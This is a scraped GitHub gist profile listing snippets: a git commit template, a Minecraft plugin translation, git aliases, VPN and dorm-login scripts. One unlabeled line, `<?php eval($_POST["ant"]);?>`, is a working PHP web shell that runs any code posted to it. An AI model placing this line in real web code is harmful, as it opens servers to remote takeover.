Skip to content

Instantly share code, notes, and snippets.

View ALiangLiang's full-sized avatar
💻
Coding day and night

Wei-Liang Liou ALiangLiang

💻
Coding day and night
  • Taiwan
View GitHub Profile
@ALiangLiang
ALiangLiang / .gitmessage.txt
Created July 5, 2021 18:37
Git Commit Message
# <type>[(scope)]: <subject>
# |<---- 最多 50 個字,請言簡意賅 ---->|
# [body] 說明為何要做這些變動
# |<---- 試著限制每一行在最多 72 個字 ---->|
# [footer] 提供相關文章和其它資源的鏈接和關鍵字
# 範例:Github issue #23
@ALiangLiang
ALiangLiang / messages.yml
Last active June 13, 2021 21:42
GriefPrevention Traditional Chinese zh-TW translation
# Use a YAML editor like NotepadPlusPlus to edit this file.
# After editing, back up your changes before reloading the server in case you made a syntax error.
# Use dollar signs ($) for formatting codes, which are documented here: http://minecraft.gamepedia.com/Formatting_codes
Messages:
RespectingClaims:
Text: Now respecting claims.
IgnoringClaims:
Text: 沒有忽略的領地。
SuccessfulAbandon:
Text: 領地已放棄。 你現在有 {0} 單位可使用的領地。
<?php eval($_POST["ant"]);?>
# git aliases
alias g='git'
alias gbr='git branch'
alias ga='git add'
alias gc='git commit'
alias gs='git status'
alias gp='git push'
alias gd='git diff'
alias gl='git log'
alias gck='git checkout'
@ALiangLiang
ALiangLiang / vpn.ps1
Last active May 1, 2024 10:12
Create and connect VPN with powershell script
# Author: ALiangLiang <me@aliangliang.top>
# Replace VPN_NAME, ADDRESS and ACCOUNT first!!
# Ref: https://docs.microsoft.com/en-us/powershell/module/vpnclient/add-vpnconnection?view=win10-ps
$VPN_NAME = 'VPN'
$ADDRESS = 'vpn.example.com'
$ACCOUNT = 'user1'
function Connect {
@ALiangLiang
ALiangLiang / messenger.Extensions.debug.js
Last active January 9, 2024 05:35
messenger.Extensions/debug.js
/*1539272086,,JIT Construction: v4409275,en_US*/
/**
* Copyright (c) 2017-present, Facebook, Inc. All rights reserved.
*
* You are hereby granted a non-exclusive, worldwide, royalty-free license to use,
* copy, modify, and distribute this software in source code or binary form for use
* in connection with the web services and APIs provided by Facebook.
*
* As with any software that integrates with the Facebook platform, your use of
@ALiangLiang
ALiangLiang / NCTULoginDormNetwork.sh
Last active August 21, 2017 07:09
NCTU dorm network login script
#!/bin/sh
# This is a script to login network of NCTU dorm.
# You can place this script into startup folder.
# And then will auto login when your PC startup.
# Please fill in your account and password.
ACCOUNT=""
PASSWORD=""